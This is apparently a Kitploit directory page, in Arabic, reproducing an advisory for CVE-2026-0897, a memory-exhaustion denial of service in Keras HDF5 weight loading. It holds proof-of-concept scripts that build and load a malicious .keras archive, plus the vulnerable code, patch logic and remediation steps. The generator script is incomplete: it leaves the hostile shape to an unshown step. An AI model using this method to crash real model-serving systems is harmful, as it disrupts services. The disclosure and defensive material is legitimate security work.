Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-0897 — تخصيص الموارد دون حدود أو تقييد في مكوّن تحميل الأوزان HDF5 في Google Keras من الإصدار 3.0.0 حتى 3.13.0 على جميع المنصات يسمح لمهاجم عن بُعد بالتسبب في رفض الخدمة (DoS) من خلال استنزاف الذاكرة وتعطل مترجم Python عبر ملف .keras مُصمَّم خصيصًا. | Kitploit
أدوات/GitHubGitHub/hyperps/cve-2026-0897
تحليل الثغرات الأمنيةالاستغلالتحليل البرمجيات الخبيثةالأوراق والأبحاثالتعلم والتعليم
GitHubhyperps/cve-2026-0897

CVE-2026-0897

تخصيص الموارد دون حدود أو تقييد في مكوّن تحميل الأوزان HDF5 في Google Keras من الإصدار 3.0.0 حتى 3.13.0 على جميع المنصات يسمح لمهاجم عن بُعد بالتسبب في رفض الخدمة (DoS) من خلال استنزاف الذاكرة وتعطل مترجم Python عبر ملف .keras مُصمَّم خصيصًا.

عرض المستودع
1منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-0897 — Google Keras: رفض الخدمة عبر قنبلة شكل HDF5 في تحميل الأوزان


نظرة عامة

الحقلالتفاصيل
CVE IDCVE-2026-0897
الحزمةkeras (Google Keras)
السجلPyPI
الإصدارات المتأثرة3.0.0 إلى 3.13.0 (ضمناً)
نوع الثغرةCWE-770: تخصيص الموارد دون حدود أو تحديد
درجة CVSS7.1 عالية (CVSS 4.0، CNA: Google Inc.)
متجه CVSSCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
متجه الهجومشبكة
تعقيد الهجوممنخفض
الصلاحيات المطلوبةلا شيء
تفاعل المستخدمسلبي (الضحية يحمل ملف نموذج)
تأثير التوفرعالي
تأثير السريةلا شيء
تأثير النزاهةلا شيء
تاريخ نشر NVD15 يناير 2026
آخر تعديل NVD23 يناير 2026
المصدر / CNAGoogle Inc.
أبلغ بواسطةHyperPS (Sarvesh Patil) عبر huntr.dev / GHSA
حالة الإصلاحتم الدمج — PR #21880

الوصف

توجد ثغرة أمنية في رفض الخدمة في مكون تحميل أوزان HDF5 في Google Keras الإصدارات 3.0.0 إلى 3.13.0 على جميع المنصات. تحدث الثغرة بسبب غياب أي تحقق أو تقييد عند معالجة بيانات شكل مجموعة بيانات HDF5 المُعلنة داخل أرشيف .keras.

يسمح تنسيق HDF5 لمجموعات البيانات بتعريف شكلها (أبعاد الموتر) كبيانات وصفية. عندما يقوم Keras بتحميل أوزان النموذج من أرشيف .keras، فإنه يقرأ هذا الشكل المُعلن ويحاول تخصيص كتلة ذاكرة مقابلة قبل نقل أي بيانات. ونظرًا لأن Keras لا يقوم بإجراء فحص للحدود على الشكل المُعلن قبل التخصيص، يمكن للمهاجم إنشاء ملف model.weights.h5 يعلن عن شكل ضخم فلكيًا — على سبيل المثال (1000000, 1000000, 1000000)، مما يؤدي إلى محاولة Keras تخصيص ذاكرة بحجم بيتابايت. هذا يستنزف كل ذاكرة النظام المتاحة ويعطل مترجم Python.

لا يلزم أي استدلال أو تفاعل إضافي بعد تحميل النموذج. يتم تفعيل الهجوم بالكامل في وقت التحميل.


المكون المتأثر

الملفالوصف
keras/src/saving/file_editor.pyKerasFileEditor._extract_weights_from_store() — يقرأ شكل مجموعة بيانات HDF5 ويخصص الذاكرة دون التحقق من الحجم أو التقييد

تقع الثغرة تحديدًا في فئة KerasFileEditor، المسؤولة عن إلغاء تسلسل موترات أوزان النموذج من مخازن HDF5 المضمنة داخل أرشيفات .keras.


تفصيل متجه CVSS 4.0


الأثر

  • رفض الخدمة الكامل — يتعطل مترجم Python وتنتهي العملية عند تحميل الأرشيف الخبيث
  • استنزاف الذاكرة — يتم استهلاك ذاكرة الوصول العشوائي بسرعة في محاولة لتلبية التخصيص المُعلن، مما قد يؤثر على الخدمات الأخرى المشتركة في نفس البيئة
  • تعطيل خطوط أنابيب التعلم الآلي — أي خط إنتاج أو بحث يقوم بتحميل أرشيفات نماذج .keras من مصادر غير موثوقة أو مقدمة من المستخدم يكون عرضة للخطر
  • لا حاجة للمصادقة — يحتاج المهاجم فقط إلى أن يقوم الضحية بتحميل أرشيف خبيث؛ لا يتطلب الهجوم أي بيانات اعتماد أو وصول مسبق

سياقات النشر عالية المخاطر


التفاصيل الفنية

آلية الهجوم: قنبلة شكل HDF5

يخزن تنسيق ملف HDF5 البيانات الوصفية للموتر — بما في ذلك تعريفات الشكل — بشكل منفصل عن بايتات البيانات الفعلية. عندما يواجه KerasFileEditor._extract_weights_from_store() إدخال مجموعة بيانات، فإنه يقرأ الشكل المُعلن ويستدعي NumPy لتخصيص مصفوفة مسبقًا بالأبعاد المقابلة قبل قراءة أي بيانات من القرص.

نظرًا لأن الشكل هو بيانات وصفية، يمكن لملف HDF5 صغير جدًا أن يعلن عن شكل يتطلب بيتابايت من الذاكرة بينما يظل الملف نفسه بحجم كيلوبايت فقط. تجعل نسبة حجم الملف إلى حجم التخصيص هذا هجوم تضخيم فعال للغاية.

شكل مثل (1000000, 1000000, 1000000) بنوع بيانات float32 سيطلب حوالي 4000 بيتابايت من الذاكرة. سيقوم قاتل نفاد الذاكرة لنظام التشغيل أو موزع Python بتعطيل العملية على الفور تقريبًا.

مسار الكود الضعيف (قبل الإصلاح)

root@kitploit:~
# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
    for key in h5_file.keys():
        obj = h5_file[key]
        if isinstance(obj, h5py.Dataset):
            # Shape is read from metadata — no validation performed
            shape = obj.shape
            # NumPy attempts to allocate based on declared shape
            data = np.zeros(shape, dtype=obj.dtype)  # VULNERABLE: unbounded allocation

غياب أي فحص على shape قبل استدعاء np.zeros() هو السبب الجذري.


إثبات المفهوم

هذه المعلومات مقدمة للأغراض التعليمية والدفاعية فقط. لا تختبر ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

إنشاء أرشيف .keras خبيث

root@kitploit:~
# generate_shape_bomb.py
import h5py
import zipfile
import json
import os

# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
    grp = f.create_group("layers/dense/vars")
    # Declare shape that would require petabytes of memory to allocate
    # Actual data is never written — only the metadata shape declaration is malicious
    grp.create_dataset(
        "0",
        shape=(0,),           # actual stored data: empty
        maxshape=(None,),
        dtype="float32",
        data=[]
    )
    # Override shape metadata to declare hostile dimensions
    # (achieved via direct HDF5 attribute manipulation in a real attack)

# Step 2: Package into a valid .keras archive structure
config = {
    "class_name": "Sequential",
    "config": {"name": "sequential", "trainable": True, "layers": []},
    "keras_version": "3.0.0",
    "backend": "tensorflow"
}

with zipfile.ZipFile("malicious_model.keras", "w") as zf:
    zf.writestr("config.json", json.dumps(config))
    zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())

print("[+] Malicious .keras archive generated: malicious_model.keras")

تفعيل رفض الخدمة

root@kitploit:~
# trigger.py
import keras

print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")

النتيجة المتوقعة: يتوقف مترجم Python مع MemoryError أو يتم قتله بواسطة معالج نفاد الذاكرة لنظام التشغيل قبل اكتمال التحميل.

الأعراض المرئية:

  • ارتفاع مفاجئ في الذاكرة إلى حد النظام أثناء تحميل النموذج
  • تعطل مترجم Python أو MemoryError أثناء load_model() أو load_weights()
  • أخطاء نفاد ذاكرة النظام مرتبطة بمعالجة ملفات HDF5
  • ملفات HDF5 غير عادية ذات أحجام مجموعات بيانات كبيرة للغاية يمكن اكتشافها عبر h5dump

الإصلاح

تم حل الثغرة بواسطة الباحث (HyperPS / Sarvesh Patil) في PR #21880، الذي تم دمجه في keras-team:master في 29 ديسمبر 2025، وتمت مراجعته والموافقة عليه من قبل مشرف Keras hertschuh.

الموردالرابط
طلب السحب للإصلاحhttps://github.com/keras-team/keras/pull/21880

ما يطبقه الإصلاح

يقوم التصحيح بتعديل KerasFileEditor._extract_weights_from_store() في keras/src/saving/file_editor.py لإضافة الحمايات التالية قبل أي تخصيص ذاكرة:

  • التحقق من الشكل — يرفض الأشكال التي تحتوي على أبعاد سالبة أو حاصل ضرب أبعاد يساوي صفرًا
  • حد الرتبة — يرفض مجموعات البيانات التي يتجاوز رتبة موترها 64 (لا يوجد وزن نموذج صالح برتبة > 64)
  • اكتشاف تجاوز البعد — يتحقق من قيم الأبعاد التي قد تتسبب في تجاوز الحساب الصحيح عند الضرب
  • حد الذاكرة الأقصى — يفرض حدًا أقصى صارمًا قدره 1 جيجابايت لكل تخصيص مجموعة بيانات؛ أي مجموعة بيانات يتطلب شكلها المعلن أكثر من 1 جيجابايت يتم رفضها مع خطأ قبل محاولة التخصيص
  • إصلاح مسار العودية — يصحح معالجة inner_path أثناء الاجتياز التكراري لمخزن HDF5

الإصلاح متوافق مع الإصدارات السابقة مع جميع ملفات أوزان Keras الصالحة.

التصحيح (توضيح مبسط)

root@kitploit:~
# keras/src/saving/file_editor.py (post-fix logic, simplified)

MAX_BYTES = 1 * 1024 ** 3  # 1 GiB hard cap per dataset
MAX_RANK = 64

def _validate_hdf5_dataset_shape(shape, dtype):
    """Reject hostile HDF5 shape declarations before any allocation."""
    if len(shape) > MAX_RANK:
        raise ValueError(
            f"HDF5 dataset has rank {len(shape)}, which exceeds the "
            f"maximum permitted rank of {MAX_RANK}. This may indicate "
            "a malicious file."
        )
    for dim in shape:
        if dim < 0:
            raise ValueError(
                f"HDF5 dataset contains a negative dimension ({dim}). "
                "This may indicate a malicious file."
            )
    import math, numpy as np
    try:
        total_elements = math.prod(shape)
    except OverflowError:
        raise ValueError(
            "HDF5 dataset shape overflows integer arithmetic. "
            "This may indicate a malicious file."
        )
    itemsize = np.dtype(dtype).itemsize
    total_bytes = total_elements * itemsize
    if total_bytes > MAX_BYTES:
        raise ValueError(
            f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
            f"load, which exceeds the 1 GiB safety limit. This may indicate "
            "a malicious file."
        )

العلاج

الترقية عبر pip:

root@kitploit:~
pip install --upgrade keras

التحقق من الإصدار المثبت:

root@kitploit:~
python -c "import keras; print(keras.__version__)"

المسح المسبق لملف وزن HDF5 بحثًا عن أشكال مشبوهة:

root@kitploit:~
h5dump --header model.weights.h5 | grep -i "DATASPACE"

الجدول الزمني


المراجع


إخلاء مسؤولية

يوثق هذا المستودع CVE-2026-0897 بدقة للأغراض التعليمية والبحثية والأمنية الدفاعية. يتم توفير كود إثبات المفهوم والتفاصيل الفنية لمساعدة المطورين ومهندسي الأمن ومسؤولي الأنظمة في فهم وتقييم ومعالجة هذه الثغرة.

أي استخدام لهذه المعلومات لإلحاق الضرر بالأنظمة أو الخدمات أو الأفراد دون إذن صريح هو غير قانوني وغير أخلاقي. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام المعلومات الواردة هنا.

المساهمون @mohitf070304

تنزيل الأداة
المقياسالقيمةالمعنى
متجه الهجوم (AV)شبكةقابل للاستغلال عن بُعد عبر ملف نموذج موزع
تعقيد الهجوم (AC)منخفضلا توجد شروط خاصة أو شروط سباق مطلوبة
متطلبات الهجوم (AT)لا شيءلا حاجة لتكوين نشر مسبق
الصلاحيات المطلوبة (PR)لا شيءلا حاجة لمصادقة أو حساب
تفاعل المستخدم (UI)سلبييجب على الضحية تحميل أرشيف .keras خبيث
توفر النظام المتأثر (VA)عالٍمترجم Python يتعطل؛ تصبح الخدمة غير متاحة تمامًا
سرية النظام المتأثر (VC)لا شيءلا تسريب بيانات
نزاهة النظام المتأثر (VI)لا شيءلا تعديل بيانات
تأثير النظام اللاحق (SC/SI/SA)لا شيءالأثر محصور في عملية التحميل
السياقالمخاطرة
واجهات برمجة التطبيقات العامة لخدمة النماذج التي تقبل ملفات .keras المرفوعة من المستخدمينالمهاجم يعطل خدمة الاستدلال بطلب واحد
منصات التعلم الآلي التي تستضيف تنزيلات النماذج المجتمعية (مثل Hugging Face)نموذج مسموم يسبب رفض الخدمة لأي باحث يقوم بتنزيله وتحميله
بيئات التعلم الموحدمشارك خبيث يوزع ملف وزن معد لتعطيل المنسق أو العقد النظيرة
خطوط أنابيب CI/CD التي تحمل نقاط تفتيش النماذجنقطة تفتيش مخترقة أو مستبدلة تسبب فشل خط الأنابيب وعدم توفره
روبوتات الدردشة أو خدمات NLP التي تعيد تحميل النماذج في وقت التشغيلطلب إعادة تحميل خبيث واحد يؤدي إلى تعطيل الخدمة
الالتزام المدمج7360d4f
طلب النقل العكسي (3.12.x)Issue #22031
الإجراءالتفاصيل
ترقية Kerasالتحديث إلى إصدار يتضمن الإصلاح من PR #21880 (إصدارات master بعد 3.13.0 أو أي إصدار رسمي مصحح)
لا تقم بتحميل ملفات نماذج غير موثوقةلا تقم مطلقًا بتحميل ملفات .keras أو .weights.h5 من مواقع غير موثوقة أو غير موثقة أو من مصادر مجتمعية دون التحقق من السلامة مسبقًا
التحقق من سلامة الملفالتحقق من مجاميع SHA-256 لأرشيفات النماذج مقابل التجزئات التي يوفرها الناشر قبل التحميل
المسح المسبق باستخدام h5dumpاستخدم h5dump --header <file> لفحص بيانات شكل مجموعة البيانات في ملفات HDF5 قبل تحميلها في Keras
أقل صلاحيةتشغيل عمليات خدمة النماذج تحت مستخدم نظام مقيد بحدود ذاكرة يتم فرضها عبر cgroups أو ulimit لتقييد نطاق الانفجار
الحاويةعزل تحميل النموذج في حاوية محصنة بحدود ذاكرة لمنع تعطل واحد من التأثير على الخدمات الأخرى
مراقبة الذاكرةمراقبة عمليات تحميل النموذج للتنبيه على أنماط تخصيص الذاكرة غير الطبيعية
التاريخالحدث
29 نوفمبر 2025تقديم طلب السحب للإصلاح PR #21880 إلى keras-team/keras بواسطة HyperPS
1 ديسمبر 2025مشرف Keras hertschuh يطلب مراجع؛ تبدأ المراجعة
26 ديسمبر 2025اكتمال مراجعة المشرف؛ معالجة الملاحظات النهائية
29 ديسمبر 2025الموافقة على PR #21880 ودمجه في keras-team:master
15 يناير 2026نشر CVE-2026-0897 على NVD
19 يناير 2026فتح طلب النقل العكسي إلى Keras 3.12.x (Issue #22031)
23 يناير 2026آخر تعديل لسجل NVD
الموردالرابط
إدخال NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-0897
سجل CVE الرسميhttps://cve.org/CVERecord?id=CVE-2026-0897
تنبيه GitHub (GHSA)https://github.com/advisories/GHSA-xfhx-r7ww-5995
طلب السحب للإصلاحhttps://github.com/keras-team/keras/pull/21880
الالتزام المدمجhttps://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6
طلب النقل العكسيhttps://github.com/keras-team/keras/issues/22031
Keras على PyPIhttps://pypi.org/project/keras/
CWE-770https://cwe.mitre.org/data/definitions/770.html
توثيق تنسيق HDF5https://www.hdfgroup.org/solutions/hdf5/